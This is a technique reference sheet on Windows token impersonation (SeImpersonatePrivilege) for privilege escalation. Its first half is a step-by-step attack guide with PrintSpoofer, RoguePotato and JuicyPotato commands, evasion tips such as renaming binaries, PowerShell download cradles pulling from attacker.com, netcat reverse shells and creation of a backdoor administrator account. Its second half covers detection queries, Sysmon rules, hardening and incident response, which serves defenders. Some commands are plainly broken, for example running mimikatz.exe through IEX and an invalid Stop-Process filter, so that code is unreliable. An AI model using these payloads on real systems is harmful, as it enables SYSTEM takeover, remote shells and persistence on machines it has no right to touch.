| Attribute | Details |
|---|---|
| Technique ID | PE-TOKEN-001 |
| MITRE ATT&CK v18.1 | T1134.001 - Access Token Manipulation: Token Impersonation/Theft |
| Tactic | Privilege Escalation |
| Platforms | Windows Endpoint (Windows Server 2016-2025, Windows 8.1+) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025; Windows 8.1, 10, 11 |
| Patched In | Not applicable (privilege-based, not patched) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Token impersonation is a privilege escalation technique that abuses the SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege user rights to duplicate and assume the security context of another user’s access token. An attacker with these privileges can extract a token from a legitimate process (often SYSTEM), duplicate it using Windows APIs (DuplicateTokenEx, DuplicateToken), and then impersonate that token to execute code with elevated privileges. This technique is particularly effective against Windows service accounts (NETWORK SERVICE, LOCAL SERVICE) that have these privileges by default, enabling privilege escalation from a compromised service context to SYSTEM-level execution.
Attack Surface: Local system access to processes running with SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. The Print Spooler service (running as SYSTEM), WinRM, COM+ Application Server, IIS Application Pools, and other Windows services are common targets.
Business Impact: Critical – Complete system compromise. Successful token impersonation allows attackers to execute arbitrary code with SYSTEM privileges, enabling them to install malware, steal credentials, modify system configurations, create persistent backdoors, and compromise the entire Windows infrastructure.
Technical Context: Token impersonation typically takes seconds to execute once the right process is identified. Detection is challenging because the technique relies on legitimate Windows APIs and may not leave obvious artifacts depending on logging configurations. This is considered a “living off the land” attack when combined with native Windows tools (PowerShell, cmd.exe).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Control 6.2 / 7.2 | Ensure Least Privilege: Limit SeImpersonatePrivilege to service accounts only; enforce principle of least privilege |
| DISA STIG | WN10-AU-000505 | Audit Policy - Privilege Use must be audited for token/privilege-related calls |
| CISA SCuBA | ConfigurationBaseline-5.2 | Privilege Escalation Prevention: Restrict token manipulation capabilities |
| NIST 800-53 | AC-2 Account Management, AC-6 Least Privilege | Implement least privilege principle; restrict SeImpersonatePrivilege to authorized service accounts |
| GDPR | Article 32 | Security of Processing: Implement technical/organizational measures to prevent unauthorized privilege escalation |
| DORA | Article 9 - Protection and Prevention | Establish robust security controls for privilege management and access control |
| NIS2 | Article 21 - Cyber Risk Management Measures | Implement controls for managing privileged access and detecting privilege escalation attempts |
| ISO 27001 | A.9.2.3 - Management of Privileged Access Rights | Review and restrict privileged user rights; establish monitoring of privilege escalation |
| ISO 27005 | Risk Scenario: “Privilege Escalation via Token Abuse” | Identify and mitigate risks associated with token manipulation and unauthorized privilege elevation |
Required Privileges:
Required Access:
Supported Versions:
Tools:
token::*Identify SeImpersonatePrivilege in Current Process:
# Check if current process has SeImpersonatePrivilege
whoami /priv | findstr /I "SeImpersonatePrivilege"
# Output example:
# SeImpersonatePrivilege Enabled
Expected Output: If “Enabled” is present, the current process has the privilege needed for token impersonation.
Alternative – Check Privileges via Whoami:
whoami /priv /fo list | findstr SeImpersonatePrivilege
What to Look For:
Enabled = Privilege is active; token impersonation is feasibleDisabled = Privilege exists but is disabled; requires enabling or finding another vectorVersion Note: All Windows versions (Server 2016+) display privilege status via whoami /priv.
List Service Accounts with SeImpersonatePrivilege (Reconnaissance Phase):
# Query for services running with system privileges
Get-WmiObject -Class Win32_Service | Where-Object {$_.StartName -match "Network|Local"} | Select-Object Name, StartName, State
# Output example:
# Name : spooler
# StartName : LocalSystem
# State : Running
What to Look For:
For PrintSpoofer/RoguePotato Methods:
Get-Service -Name spooler | Select-Object Name, Status
# Output example:
# Name Status
# ------ ------
# spooler Running
Expected Output: Status = “Running” means Print Spooler is available for exploitation.
Alternative – Via PowerShell (Server 2022+):
Get-Service spooler -ErrorAction SilentlyContinue | Where-Object {$_.Status -eq 'Running'}
Supported Versions: Windows Server 2019, 2022, 2025; Windows 10 (v1809+)
Advantages: Works reliably after Windows Server 2019 when JuicyPotato broke; minimal prerequisites (only Print Spooler required).
Objective: Confirm the current process has SeImpersonatePrivilege before execution.
Command:
whoami /priv | findstr /I "SeImpersonatePrivilege"
Expected Output:
SeImpersonatePrivilege Enabled
What This Means:
[-] SeImpersonatePrivilege not foundOpSec & Evasion:
whoami /priv > temp.txt && type temp.txt to avoid direct console output if being monitoredTroubleshooting:
[-] SeImpersonatePrivilege not found
Objective: Transfer PrintSpoofer.exe to the target system for execution.
Command (From Attacker Machine):
# Copy PrintSpoofer to target via SMB (requires file share access)
Copy-Item -Path "C:\Tools\PrintSpoofer.exe" -Destination "\\<TARGET_IP>\C$\Windows\Temp\" -Force
Command (On Target – Verify Placement):
dir C:\Windows\Temp\PrintSpoofer.exe
Expected Output:
PrintSpoofer.exe exists
OpSec & Evasion:
PrintSpoofer.exe → svchost.exe, rundll32.exe, etc.C:\Windows\Temp or C:\ProgramData (less monitored than user Desktop)Troubleshooting:
C:\ProgramData or user temp folder instead (C:\Users\<Username>\AppData\Local\Temp)Objective: Exploit the Print Spooler service to obtain a SYSTEM token and spawn a new process.
Command:
C:\Windows\Temp\PrintSpoofer.exe -c "cmd.exe /c powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
Command Variants:
Reverse Shell (Example):
C:\Windows\Temp\PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.10.10 4444"
Add User (Persistence Example):
C:\Windows\Temp\PrintSpoofer.exe -c "cmd /c net user hacker Password123! /add && net localgroup administrators hacker /add"
Expected Output (Success):
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
NULL
What This Means:
[+] Found privilege = SeImpersonatePrivilege detected[+] Named pipe listening = Print Spooler connected and is communicating[+] CreateProcessAsUser() OK = Process spawned with SYSTEM privilegesNULL = New process created (your command executed as SYSTEM)OpSec & Evasion:
Troubleshooting:
[-] Access denied opening pipe
net start spooler[-] Error spawning process
cmd /c <command> first without PrintSpooferObjective: Confirm that your payload executed with SYSTEM privileges.
Command (On Victim):
# If reverse shell succeeded, verify from attacker machine:
whoami
# Output: NT AUTHORITY\SYSTEM
Expected Output: NT AUTHORITY\SYSTEM confirms SYSTEM-level code execution.
Alternative – Check Event Logs:
Get-EventLog -LogName Security -InstanceId 4688 -Newest 5 | Select-Object TimeGenerated, Message | Format-List
Look for Event 4688 with:
Supported Versions: Windows Server 2019, 2022, 2025; Windows 10 (v1809+)
Advantages: Works when PrintSpoofer fails; uses DCOM server instead of Print Spooler; lower success rate but sometimes more reliable.
Objective: Create a fake OXID resolver to redirect DCOM connections.
On Attacker Machine (Kali Linux):
# Install socat if not present
apt-get install socat -y
# Start socat listener on port 135 (redirects to fake OXID server on 9999)
socat -v TCP-LISTEN:135,reuseaddr,fork TCP:127.0.0.1:9999
Expected Output: Socat waits for connections and redirects them to port 9999.
What This Means:
OpSec & Evasion:
screen -d -m socat -v TCP-LISTEN:135,reuseaddr,fork TCP:127.0.0.1:9999Objective: Transfer RoguePotato.exe to the target system.
Command (From Attacker):
# Upload via SMB
Copy-Item -Path ".\RoguePotato.exe" -Destination "\\<TARGET_IP>\C$\Windows\Temp\" -Force
Expected Output: File copied successfully.
Objective: Exploit DCOM to obtain SYSTEM token.
Command (On Target):
C:\Windows\Temp\RoguePotato.exe -r <ATTACKER_IP> -c "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.10.10 4444" -l 9999
Command Breakdown:
-r <ATTACKER_IP> = Attacker IP hosting socat listener-c "<COMMAND>" = Command to execute as SYSTEM-l 9999 = Local port where RoguePotato’s fake OXID server listensExpected Output (Success):
[*] Exploit starting...
[*] OXID resolver listening on port 9999
[*] DCOM server connected
[*] Token impersonated, executing command...
[*] Command executed with SYSTEM privileges
OpSec & Evasion:
Troubleshooting:
[-] Failed to connect to OXID resolver
ps aux | grep socat; check firewall rulesSupported Versions: Windows Server 2016, Windows 8.1, Windows 10 (up to 1809)
Disadvantages: Broken on Windows Server 2019 (April 2018 patches); provided for reference only.
Objective: Find a valid CLSID (COM class ID) for a service running as SYSTEM.
Command:
# Common CLSIDs for SYSTEM services
# 6d61e65c-36f8-11e0-aec6-08002b37bcc9 (Print Spooler)
# Provided with JuicyPotato tool
Expected Output: CLSID list (provided in tool documentation).
Objective: Exploit COM instantiation to impersonate SYSTEM token.
Command:
C:\Windows\Temp\JuicyPotato.exe -l 1337 -p C:\Windows\Temp\cmd.exe -t * -c "6d61e65c-36f8-11e0-aec6-08002b37bcc9"
Command Breakdown:
-l 1337 = Local listening port-p <COMMAND> = Program to execute as SYSTEM-t * = Token type (either “t” for primary or “u” for impersonation; “*” tries both)-c <CLSID> = COM class ID for target serviceExpected Output (Success):
[+] Privilege escalation successful
[+] Process running as NT AUTHORITY\SYSTEM
Troubleshooting:
[-] JuicyPotato failed on this version
Version: 1.4 (Latest)
Minimum Version: 1.0
Supported Platforms: Windows Server 2019, 2022, 2025; Windows 10 (v1809+)
Installation:
# Clone repository
git clone https://github.com/itm4n/PrintSpoofer.git
cd PrintSpoofer
# Compile (requires Visual Studio Build Tools)
msbuild PrintSpoofer.sln /p:Configuration=Release /p:Platform=x64
# Binary location: Release\PrintSpoofer.exe
Quick Execution:
PrintSpoofer.exe -c "whoami"
Version: 1.3+
Supported Platforms: Windows Server 2019, 2022, 2025; Windows 10 (v1809+)
Installation:
git clone https://github.com/antonioCoco/RoguePotato.git
cd RoguePotato
# Compile
msbuild RoguePotato.sln /p:Configuration=Release /p:Platform=x64
Usage Example:
RoguePotato.exe -r 192.168.1.100 -c "cmd.exe /c powershell.exe -nop -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")'"
Version: 1.5+
Supported Platforms: Windows Server 2019-2022, Windows 10+
Installation:
git clone https://github.com/BeichenDream/GodPotato.git
cd GodPotato
# Compile
go build -o GodPotato.exe main.go
Advantage: Single binary, no external socat needed.
PowerShell One-Liner (Token Impersonation via Mimikatz):
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/gentilkiwi/mimikatz/master/x64/mimikatz.exe'); token::list
Bash One-Liner (RoguePotato from Linux):
# Transfer and execute RoguePotato (Linux relay to Windows target)
smbclient -U 'DOMAIN\user' //TARGET_IP/C$ -c "put RoguePotato.exe Windows/Temp/" && ssh root@TARGET_IP "C:\Windows\Temp\RoguePotato.exe -r ATTACKER_IP -c 'cmd.exe /c whoami' -l 9999"
Event ID: 4688 (A new process has been created)
CommandLine contains "spooler" OR NewProcessName contains "cmd.exe" AND User = "NT AUTHORITY\SYSTEM"Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Server 2022+):
Manual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enableEvent Fields to Monitor:
| Field | Value to Detect |
|---|---|
| EventID | 4688 |
| NewProcessName | cmd.exe, powershell.exe, nc.exe (reverse shells) |
| ParentImage | spoolsv.exe, dllhost.exe, rpcss.exe (legitimate service parents but with SYSTEM token) |
| User | NT AUTHORITY\SYSTEM (when parent is service account) |
| CommandLine | Suspicious: -nop -w hidden, IEX, DownloadString, RPC calls |
Minimum Sysmon Version: 13.0+
Supported Platforms: All Windows versions
Sysmon XML Configuration (Detect Process Access & Token Operations):
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- Rule: Detect process access to lsass or spooler (token theft precursor) -->
<RuleGroup name="Token Impersonation - Process Access" groupRelation="and">
<ProcessAccess onmatch="include">
<!-- Monitor access to Print Spooler -->
<TargetImage condition="is">C:\Windows\System32\spoolsv.exe</TargetImage>
<GrantedAccess condition="contains">0x40</GrantedAccess> <!-- VM_READ/PROCESS_VM_READ -->
</ProcessAccess>
<ProcessAccess onmatch="include">
<!-- Monitor access to LSASS (alternative token source) -->
<TargetImage condition="contains">lsass.exe</TargetImage>
<GrantedAccess condition="contains">0x1010</GrantedAccess> <!-- PROCESS_QUERY_INFORMATION | PROCESS_VM_READ -->
</ProcessAccess>
</RuleGroup>
<!-- Rule: Detect suspicious process creation from service accounts -->
<RuleGroup name="Token Impersonation - Suspicious Process Creation" groupRelation="and">
<ProcessCreate onmatch="include">
<ParentImage condition="is">C:\Windows\System32\spoolsv.exe</ParentImage>
<User condition="is">NT AUTHORITY\SYSTEM</User>
<!-- But parent is spooler (normally doesn't spawn children) -->
<Image condition="is">C:\Windows\System32\cmd.exe</Image>
</ProcessCreate>
</RuleGroup>
<!-- Rule: Detect named pipe creation (RoguePotato/PrintSpoofer vectors) -->
<RuleGroup name="Token Impersonation - Named Pipe" groupRelation="and">
<PipeEvent onmatch="include">
<EventType condition="is">CreatePipe</EventType>
<PipeName condition="contains">pipe\spoolss</PipeName> <!-- PrintSpoofer vector -->
</PipeEvent>
</RuleGroup>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xmlsysmon64.exe -accepteula -i sysmon-config.xmlGet-Service Sysmon64 → should show “Running”Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 50 | Format-Table TimeCreated, MessageRule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4688
| where NewProcessName in ("cmd.exe", "powershell.exe", "svchost.exe", "rundll32.exe")
| where ParentProcessName in ("spoolsv.exe", "dllhost.exe", "rpcss.exe", "wininit.exe")
| where Account contains "NT AUTHORITY\\SYSTEM" or Account contains "NETWORK SERVICE"
| where CommandLine contains any ("iex", "DownloadString", "-nop", "-w hidden", "nc.exe", "IEX")
| project TimeGenerated, Computer, Account, NewProcessName, ParentProcessName, CommandLine, EventID
| where isnotempty(CommandLine)
What This Detects:
Manual Configuration Steps (Azure Portal):
Token Impersonation - Service Account Process CreationHigh5 minutes30 minutesRule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4688
| where ParentProcessName contains "spoolsv.exe"
| where CommandLine contains any ("PrintSpoofer", "-c", "CreateProcessAsUser")
| union (DeviceProcessEvents | where ParentProcessName contains "spoolsv.exe")
| project TimeGenerated, Computer, ParentProcessName, NewProcessName, CommandLine, User
Manual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
$query = @"
SecurityEvent
| where EventID == 4688
| where ParentProcessName contains "spoolsv.exe"
| where CommandLine contains any ("PrintSpoofer", "-c", "CreateProcessAsUser")
"@
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Token Impersonation - PrintSpoofer Detection" `
-Query $query `
-Severity "Critical" `
-Enabled $true
Alert Name: Suspicious process creation with elevated privileges from service account
Manual Configuration Steps (Enable Defender for Cloud):
Response to Alert:
tasklist /v | findstr <PID>taskkill /PID <PID> /F1. Restrict SeImpersonatePrivilege to Authorized Service Accounts Only
Service accounts should have SeImpersonatePrivilege assigned, but user accounts should not. Regularly audit who has this privilege.
Applies To Versions: Server 2016+
Manual Steps (Group Policy):
gpupdate /force on target machinesManual Steps (PowerShell):
# Remove SeImpersonatePrivilege from a user
$computer = $env:COMPUTERNAME
$user = "DOMAIN\Username"
# Via ntrights.exe (requires RSAT)
ntrights -u $user -r SeImpersonatePrivilege
# Alternative: Edit Group Policy directly
$policy = "C:\Windows\System32\drivers\etc\hosts" # Placeholder; actual GPO path is complex
Validation Command (Verify Fix):
# Check who has SeImpersonatePrivilege
Get-LocalGroupMember -Group "Administrators" | Select-Object Name
# Should NOT include normal user accounts
Expected Output (If Secure):
Name ObjectClass
---- -----------
DOMAIN\Admins Group
NT AUTHORITY\SYSTEM User
What to Look For:
2. Disable or Minimize Print Spooler Service
The Print Spooler service is the primary vector for PrintSpoofer. Disable it if not required.
Applies To Versions: Server 2016+
Manual Steps:
Manual Steps (PowerShell):
# Disable Print Spooler
Set-Service -Name spooler -StartupType Disabled -Force
Stop-Service -Name spooler -Force
# Verify disabled
Get-Service spooler | Select-Object Name, StartType, Status
Validation Command:
Get-Service spooler | Select-Object StartType, Status
# Output: StartType = Disabled, Status = Stopped
3. Enable Privilege Use Auditing
Monitor who uses SeImpersonatePrivilege and other sensitive privileges.
Applies To Versions: Server 2016+
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Local Policy):
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
Validation Command:
auditpol /get /subcategory:"Sensitive Privilege Use"
# Output: Success and Failure enabled
4. Implement Application Whitelisting
Prevent unsigned or unauthorized executables (PrintSpoofer, RoguePotato, JuicyPotato) from running.
Applies To Versions: Server 2016+
Manual Steps (Windows Defender Application Guard):
Manual Steps (PowerShell – AppLocker):
# Create AppLocker policy to block .exe files in Temp directory
$rule = New-AppLockerRule -Path "C:\Windows\Temp\*.exe" -Action Deny -User Everyone -Optimize
# Apply policy
Set-AppLockerPolicy -PolicyObject $rule -Enforce
5. Network Segmentation & RPC Restrictions
Limit RPC communication (port 135, 445) between service accounts and external systems.
Manual Steps (Windows Firewall):
6. Conditional Access (Entra ID/Hybrid)
Block token impersonation in hybrid AD environments by enforcing Conditional Access policies.
Manual Steps:
Block Sensitive Privilege OperationsValidation Command (Verify All Fixes):
# Comprehensive audit script
Write-Host "[*] Checking SeImpersonatePrivilege restrictions..."
whoami /priv | findstr /I "SeImpersonatePrivilege"
Write-Host "[*] Checking Print Spooler status..."
Get-Service spooler | Select-Object Status, StartType
Write-Host "[*] Checking Privilege Use auditing..."
auditpol /get /subcategory:"Sensitive Privilege Use"
Write-Host "[*] Checking AppLocker policy..."
Get-AppLockerPolicy -Effective | Format-List
Expected Output (If All Secure):
Files:
PrintSpoofer.exe (various obfuscated names)RoguePotato.exe, GodPotato.exe, JuicyPotato.exemimikatz.exe, procdump.exe, psexec.exe (post-exploitation)C:\Windows\Temp\*.exe (staging directory)C:\ProgramData\SkyPDF\PDUDrv.blf (CLFS exploit artifact – CVE-2025-29824)Registry:
HKLM\System\CurrentControlSet\Services\spooler (Print Spooler state)HKLM\Software\Microsoft\Windows\CurrentVersion\Run (persistence keys)Network:
Event Logs:
Disk:
C:\Windows\System32\winevt\Logs\Security.evtx – Contains 4688 eventsC:\Windows\System32\drivers\etc\hosts – Modified DNS resolution (if applicable)C:\ProgramData\ – Staging directory for toolsMemory:
Cloud (Entra ID/M365):
MFT/USN Journal:
C:\Windows\Temp\Isolate:
Command:
# Disable network adapters to prevent further lateral movement
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Alternatively, from Azure:
# Go to Azure Portal → Virtual Machines → Select VM → Networking → Disconnect
Manual (On-Premises):
Collect Evidence:
Command:
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Export Sysmon logs
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10000 | Export-Csv -Path C:\Evidence\Sysmon.csv
# Dump memory (requires procdump.exe or volatility)
procdump64.exe -ma lsass.exe C:\Evidence\lsass.dmp
procdump64.exe -ma spoolsv.exe C:\Evidence\spoolsv.dmp
Manual:
C:\Evidence\Security.evtxRemediate:
Command:
# Kill suspicious process
Stop-Process -Name "PrintSpoofer" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "cmd" -Filter "CommandLine like '%iex%'" -Force
# Remove malicious files
Remove-Item "C:\Windows\Temp\PrintSpoofer.exe" -Force -ErrorAction SilentlyContinue
Remove-Item "C:\Windows\Temp\RoguePotato.exe" -Force -ErrorAction SilentlyContinue
# Disable compromised service account
Disable-LocalUser -Name "CompromisedServiceAccount"
# Reset service account password
Set-LocalUser -Name "CompromisedServiceAccount" -Password (ConvertTo-SecureString -AsPlainText "NewSecurePassword!" -Force)
Manual:
C:\Windows\Temp\ → Delete suspicious .exe filesPost-Incident:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-001] Tenant Discovery / [REC-AD-003] PowerView Enumeration | Enumerate domain structure, service accounts, and trust relationships |
| 2 | Initial Access | [IA-PHISH-001] Device Code Phishing / [IA-EXPLOIT-001] App Proxy Exploitation | Compromise initial user/service account to gain local code execution |
| 3 | Credential Access | [CA-DUMP-001] Mimikatz LSASS Extraction / [CA-DUMP-006] NTDS.dit Extraction | Extract credentials or hashes (optional, but increases impact) |
| 4 | Privilege Escalation | [PE-TOKEN-001] Token Impersonation | Abuse SeImpersonatePrivilege to escalate from service account to SYSTEM |
| 5 | Persistence | [PERSIST-ACCT-001] AdminSDHolder Abuse / [PERSIST-SERVER-001] Skeleton Key | Create persistent backdoor (e.g., admin account, malicious GPO) |
| 6 | Defense Evasion | [EVADE-IMPAIR-001] Disable AV/EDR / [EVADE-IMPAIR-004] Event Log Clearing | Clear tracks and disable security controls |
| 7 | Impact | Data Exfiltration / Ransomware Deployment | Execute final objective (data theft, encryption, lateral movement) |
Attack Sequence:
Attack Sequence:
KQL Hunt Query (Microsoft Sentinel):
SecurityEvent
| where EventID == 4688
| where NewProcessName in~ ("cmd.exe", "powershell.exe", "svchost.exe")
| where ParentProcessName in~ ("spoolsv.exe", "dllhost.exe", "rpcss.exe", "services.exe")
| where TimeGenerated > ago(7d) // Last 7 days
| project TimeGenerated, Computer, Account, ParentProcessName, NewProcessName, CommandLine
| order by TimeGenerated desc
Splunk Search:
index=main EventCode=4688 (ParentImage=*spoolsv.exe OR ParentImage=*dllhost.exe)
User=*SYSTEM* earliest=-7d latest=now
| table _time, Computer, User, ParentImage, Image, CommandLine
| sort - _time
Primary Sources:
Framework & Standards: